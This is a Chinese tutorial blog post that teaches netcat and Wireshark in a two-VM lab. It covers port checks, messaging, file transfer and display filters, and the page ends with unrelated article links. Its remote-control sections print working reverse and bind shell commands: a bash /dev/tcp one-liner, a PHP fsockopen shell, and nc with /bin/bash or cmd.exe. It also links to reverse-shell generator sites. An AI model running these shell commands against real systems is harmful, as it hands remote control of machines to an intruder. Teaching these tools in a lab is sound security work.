21_ncwireshark

news2025/2/24 15:35:17

nc&wireshark

一、nc介绍

网上百度就有一堆介绍,平常主要用于监听和连接
在这里插入图片描述

二、nc判断端口是否开放

实验环境: win10虚拟机和kali虚拟机
win10虚拟机ip: 192.168.11.142
kali虚拟机ip: 192.168.11.131
在这里插入图片描述
在这里插入图片描述
此时win10虚拟机,开放了80端口,21端口,3306端口
在这里插入图片描述
在kali虚拟机使用nc可以判断win10虚拟机的端口是否开放
如果是开放的端口,比如80端口,就会像卡住一样
如果是未开放的端口,比如81端口,直接会显示连接拒绝
在这里插入图片描述
像mysql的3306端口,如果开放,随便输点东西,会被当作用户密码来判断
在这里插入图片描述

三、nc或者ncat实现信息互传

nc和ncat是一个东西,只不过windows里面十ncat,linux里面是nc

kali自带了nc
但是win10虚拟机没有ncat,需要安装nmap,nmap的文件夹里面自带了ncat.exe

在这里插入图片描述
-lvp参数是实现监听本地端口
-nv 参数是实现连接其它主机端口

现在kali虚拟机作为监听方,监听本地的12345端口
在这里插入图片描述
win10虚拟机作为连接方,去连接kali的12345端口
在这里插入图片描述
连接成功之后,kali监听方这边会显示来自哪个主机的连接
在这里插入图片描述

然后两边都可以信息互传了,输入个消息,然后回车,对面就能接收到
在这里插入图片描述
在这里插入图片描述

四、nc实现文件传输

环境模拟:
在kali虚拟机随意创建一个文件
这里kali虚拟机就是文件持有者
win10虚拟机想获取这个hello.txt文件里面的内容
在这里插入图片描述

nc实现文件传输有两种方法

1. 文件持有者作为监听方(不推荐)

文件持有者也就是kali虚拟机,通过管道符将hello.txt里面的内容转发到本地的12345端口上
在这里插入图片描述
win10虚拟机通过连接kali的12345端口获取到了hello.txt文件内容,并写入到world.txt中

这个方法的缺点是无法主动断开,只能手动断开
那么就造成了一个问题,这个hello.txt文件内容比较少,如果遇到文件内容多的情况下,如果我们不知道是否传输完毕,就提前断开的话,可能导致文件传输不完整,因此不推荐这种方法
在这里插入图片描述

那么如何解决不自动断开的问题呢?
需要使用-i 参数

监听方和连接方两边都必须加上-i参数,后面跟数字代表时间,比如 -i 3
在这里插入图片描述
Idle timeout expired (3000 ms)这句话当数据完成传输后3秒会自动断开
在这里插入图片描述
kali虚拟机这边同样自动断开
在这里插入图片描述

2. 文件持有者作为连接方(推荐)

这个方法与上面方法的监听方和连接方相反
win10虚拟机先开启本地的12348端口监听,并且将监听到的内容写入helloworld.txt中
在这里插入图片描述
文件持有者,也就是kali虚拟机这边,通过管道符将hello.txt内容转发到win10主机的12348端口

可以看到传输完毕,自动断开,并且显示了文件大小和传输时间
在这里插入图片描述
并且win10虚拟机这边同样自动断开,也获取到了hello.txt的文件内容
在这里插入图片描述

五、nc实现远程控制

1. linux反弹shell给windows

windows获取linux的shell

第一种是win10虚拟机要获取kali虚拟机的shell

(1) 反向连接(反弹shell)

先在win10虚拟机监听12345端口
在这里插入图片描述
kali虚拟机去连接虚拟机的12345端口
-c /bin/bash的作用就是主动去win10虚拟机下的12345端口获取命令,交给/bin/bash执行,/bin/bash相当于windows里面的cmd

kali虚拟机将自己的shell反弹出去,反弹给了win10虚拟机,所以交反弹shell,也叫反向连接
在这里插入图片描述
win10虚拟机成功获取kali的shell
在这里插入图片描述

(2) 正向连接

kali虚拟机主动监听自身的12345端口,并把接收到的命令传给/bin/bash
因此叫做正向连接
在这里插入图片描述
win10虚拟机连接kali虚拟机的12345端口,成功获取kali的shell
在这里插入图片描述
kali虚拟机显示来自win10虚拟机的连接
在这里插入图片描述

2. windows反弹shell给linux

linux获取windows的shell

这种与上面的linux反弹shell给windows的用法差不多
只不过linux是使用 -c /bin/bash
而这里windows要使用 -e cmd.exe

(1) 反向连接

kali虚拟机监听12345端口
在这里插入图片描述
win10虚拟机主动去kali虚拟机下的12345端口获取命令,并且将命令交给cmd.exe执行

win10虚拟机将自身的shell反弹出去,反弹到kali的12345端口上
在这里插入图片描述
kali虚拟机成功获取win10的shell
在这里插入图片描述

(2) 正向连接

win10虚拟机主动监听自身的12345端口,并把接收到的命令交给cmd.exe执行
在这里插入图片描述
kali虚拟机连接win10虚拟机,成功获取win10虚拟机的shell
在这里插入图片描述

六、linux常见的反弹shell方式

1. bash反弹shell

win10虚拟机先监听自身的12345端口,等待来自kali的shell
在这里插入图片描述
kali虚拟机使用下面这个bash命令去反弹shell给win10虚拟机

bash -i >& /dev/tcp/192.168.11.142/12345 0>&1

bash相当于windows里面的cmd,代表执行命令
-i 参数代表交互式
/dev/tcp/192.168.11.142/12345 表示使用tcp协议去连接win10主机的12345端口,将获取的值传递给bash
0>&1 0代表标准输入,1代表标准输出,也就是在win10虚拟机输入的命令,重定向交给了kali虚拟机的bash去执行

在这里插入图片描述
在这里插入图片描述

2. 利用管道符反弹shell

这条命令的意思是kali虚拟机监听本地的12345端口,将接收到的命令重定向给/bin/bash去执行

/bin/bash执行完的结果在重定向给本地的12348端口,任何访问kali的12348端口的主机都可以获取结果

nc -lvp 12345 | /bin/bash | nc -lvp 12348

在这里插入图片描述
win10虚拟机这边就需要连接两个端口
连接kali的12345端口去输入命令
连接kali 的12348端口去查看结果
在这里插入图片描述

3. php反弹shell

php -r 'set_time_limit(0); $ip="192.168.11.142";$port="11111";$fp=@fsockopen($ip,$port,$errno,$errstr);if(!$fp){echo "error";}else{fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");while(!feof($fp)){fputs($fp,"shell:");$shell=fgets($fp);$message=`$shell`;fputs($fp,$message);}fclose($fp);}'

win10虚拟机先监听本地的11111端口
在这里插入图片描述
kali这边去执行php反弹shell
在这里插入图片描述
win10虚拟机成功获取kali的shell
在这里插入图片描述

4. 在线网站生成反弹shell

网址:
https://www.revshells.com/
https://forum.ywhack.com/reverse-shell/
这两个网址打开的网页是一样的

可以自动生成各种各样的反弹shell
然后自己去一个个试,看哪种可以成功反弹shell
在这里插入图片描述

七、wireshark的基本使用

这个界面是选择接口的界面

后面的有波浪线的,有起伏的代表与外界进行数据通信

eth0是kali 的网卡
在这里插入图片描述
这个地方有个筛选器
在这里插入图片描述
双击点开eth0,上面也有个筛选器
在这里插入图片描述
这两个筛选器是有区别的

外面的筛选器比如说输入icmp,就代表只获取icmp包,点开eth0之后,要么是有icmp的包,要么是什么也没有,不显示其它的包,比如说tcp,udp等包

点开eth0之后上面筛选器输入icmp,代表只展示icmp包,但是其它包,比如tcp,udp等包也抓取了,删除筛选器里面的icmp,其它的包也展示出来了

展示全部包之后,随便点开看看,下面展示了很多的信息
在这里插入图片描述

下面有个题目:

筛选IP为1.1.1.1 目标端口为888 的包 或者 是ip为2.2.2.2 源端口为9999的包

我们如何在过滤器上写,才能够筛选出来,可能筛选出来没有结果,但是要会写

((ip.addr==1.1.1.1) && (tcp.dstport == 888 || udp.dstport == 888))||((ip.addr==2.2.2.2) && (udp.srcport  == 9999 || tcp.srcport == 9999))

这里有个小技巧,当你不知道语法,不会写的时候,在下面的信息栏找到对应的项

比如说我这里选的源IP,然后右键,有一个Prepare as Filter,意思是准备为筛选器
然后点开这个,里面就有一些与或的语法,上面就自动生成语法,我们根据生成的改写就可以了
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/193868.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【书】只会功能测试的我,核心竞争力在哪里?

在现实工作中,测试的工作在很多人眼里就是“点点点”,特别是在推进开发自测或者向上级回报的时候,测试的工作显得那么平白无奇。 不仅是在公司内部,在进行面试的时候也会被问到,你觉得你的优势在哪里? 以上…

BlockingQueue(阻塞队列)详解

一. 前言 在新增的Concurrent包中,BlockingQueue很好的解决了多线程中,如何高效安全“传输”数据的问题。通过这些高效并且线程安全的队列类,为我们快速搭建高质量的多线程程序带来极大的便利。本文详细介绍了BlockingQueue家庭中的所有成员&…

上海亚商投顾:A股三大指数震荡涨跌各异 大消费全天活跃

上海亚商投顾前言:无惧大盘涨跌,解密龙虎榜资金,跟踪一线游资和机构资金动向,识别短期热点和强势个股。市场情绪沪指今日窄幅震荡,创业板指小幅冲高后回落,科创50指数盘中涨近1.5%,随后涨幅明显…

gdb与gdbserver的使用

GDB调试示例以调试可执行程序gdbDebug为例,gdbDebug.cpp内容如下:使用gdb 启动gdbDebug程序左侧为gdb调试,右侧为gdbDebug.cpp内容GDB与GDBServer调试示例以调试可执行程序gdbDebug为例,gdbDebug.cpp内容如下:使用gdbs…

StarRocks荣获2022年度最具潜力数据库奖

近日,墨天轮颁布了《2022年度数据库获奖名单》,通过墨天轮排行榜排名及年度得分、生态建设、市场活动、市场份额、专利数等38个综合指标进行遴选,评选出2022年的数据库重要奖项,期望能够通过多维度评选,呈现出数据库产…

客户在国内,挑选海外服务器供应商有什么技巧?

​  一直以来,基于互联网管理的严格要求,在使用中国大陆服务器放置网站时,是需要备案手续的,这个手续时长快则7天,慢则也有接近1个月的情况,复杂耗时,当然,这也是对建站成本的增加…

程序员想兼职赚钱?这几个渠道你一定要知道?

某一天当一个程序员,一拍脑门想要兼职,赚点小钱,于是他打开了知乎,打开了百度搜索兼职。结果弹出了一大部分有兼职要视频剪辑的,写文稿的等等等等。逛了一圈,发现根本没有自己合适的兼职。 我想说&#xff…

0201 设置/修改元素内容和属性

document.write()方法文本内容追加到</body>前面的位置文本中标签会被解析<script>document.write(hello world)document.write(<h3>你好世界</h3>)</script>innerText属性将文本内容添加更新到任意标签位置文本包含的标签不会被解析<style&g…

JavaScript 类与类型判断

JavaScript中的数据类型 JavaScript的数据类型大致分为两种&#xff1a;原始类型、对象类型。 原始类型&#xff1a;数字Number、字符串String、布尔值boolean、以及两个特殊值(null、undefined). 对象类型&#xff1a;数组Array、函数Function、日期Date、正则RegExp、错误Err…

Small RTOS51 学习笔记(10)Small RTOS51 的移植

个人笔记 文章目录准备一个 51 单片机工程将 Small RTOS51 相关文件添加到工程一个简单的程序运行效果遇到的问题准备一个 51 单片机工程 我打算拿一个现成的 51 单片机工程来移植 Small RTOS51&#xff0c; 当然&#xff0c;也可以重新创建一个新的工程。 将 Small RTOS51 相…

记录一次sql group by 优化记录

最近有个手动任务&#xff0c;需要计算每天的数据量&#xff0c;然后再进行处理。根据这种情况计算&#xff0c;sql是这样的SELECT FROM_UNIXTIME(publish_time / 1000, %Y-%m-%d) date,COUNT(*) as countFROMinfo_article_mainWHEREpublish_time BETWEEN ?AND ?GROUP BY dat…

Windows实时运动控制软核(六):LOCAL高速接口测试之Matlab

今天&#xff0c;正运动小助手给大家分享一下MotionRT7的安装和使用&#xff0c;以及使用Matlab对MotionRT7开发的前期准备。 01 MotionRT7简介 MotionRT7是深圳市正运动技术推出的跨平台运动控制实时内核&#xff0c;也是国内首家完全自主自研&#xff0c;自主可控的Windows…

flutter 中stack 控件的 大小是如何确定的

stack 控件 stack 是我们在flutter中常用到的控件&#xff0c;然而stack的大小是如何确定的是一个值得探究的问题&#xff0c;自己在网上也进行了搜索&#xff0c;但是总是不能解释自己遇到的新情况&#xff0c;所以我这里就根据目前的经验对stack大小是如何确定的进行一下总结…

【Java基础】006 -- 运算符

目录 一、算数运算符 1、基本用法 2、高级用法 ①、数字相加 ②、字符串相加 ③、字符相加 二、自增自减运算符 1、基本用法 三、赋值运算符 四、关系运算符 五、逻辑运算符 1、四种逻辑运算符 2、短路逻辑运算符 六、三元运算符 1、什么是三元运算符 2、三元运算符格式 七、运…

规则引擎-drools-3.3-drl文件构成-rule部分-条件Condition

文章目录drl文件构成-rule部分条件部分 LHS模式&#xff08;Pattern&#xff09;、绑定变量属性约束DRL中支持的规则条件元素&#xff08;关键字&#xff09;运算符比较操作符条件元素继承条件元素do对应多then条件drl文件构成-rule部分 drl文件构成&#xff0c;位于官网的第5…

工程师是怎样对待开源

工程师如何对待开源 本文是笔者作为一个在知名科技企业内从事开源相关工作超过 20 年的工程师&#xff0c;亲身经历或者亲眼目睹很多工程师对待开源软件的优秀实践&#xff0c;也看到了很多 Bad Cases&#xff0c;所以想把自己的一些心得体会写在这里&#xff0c;供工程师进行…

递归、dfs、回溯、剪枝,一针见血的

一、框架&#xff1a;回溯搜索的遍历过程&#xff1a;回溯法⼀般是在集合中递归搜索&#xff0c;集合的⼤⼩构成了树的宽度&#xff0c;递归的深度构成的树的深度。for循环就是遍历集合区间&#xff0c;可以理解⼀个节点有多少个孩⼦&#xff0c;这个for循环就执⾏多少次。back…

那些提升工作效率的Windows常用快捷键

那些提升工作效率的Windows常用快捷键 前言 在我们日常工作中&#xff0c;掌握一些常用的电脑快捷键&#xff0c;可以让办公效率事半功倍&#xff0c;熟用快捷键可以极大增加我们的工作效率&#xff0c;更重要的是键盘操作看起来更让人赏心悦目&#xff01; 我们通常将快捷键…

【C++】作用域与函数重载

【C】作用域与函数重载 1、作用域 1.1 作用域的作用 作用域——scope 通常来说&#xff0c;一段程序代码中所用到的名字并不总是有效/可用的&#xff0c;而限定这个名字的可用性的代码范围就是这个名字的作用域。 简单来说&#xff0c;作用域的使用减少了代码中名字的重复冲…

13、稀疏矩阵

目录 一、稀疏矩阵的生成 1.利用sparse函数建立一般的稀疏矩阵 2.利用特定函数建立稀疏矩阵 二、稀疏矩阵的运算 一、稀疏矩阵的生成 1.利用sparse函数建立一般的稀疏矩阵 稀疏矩阵指令的调用格式&#xff1a; 示例1&#xff1a;输入一个稀疏矩阵 Asparse([1 2 3 4 5],[…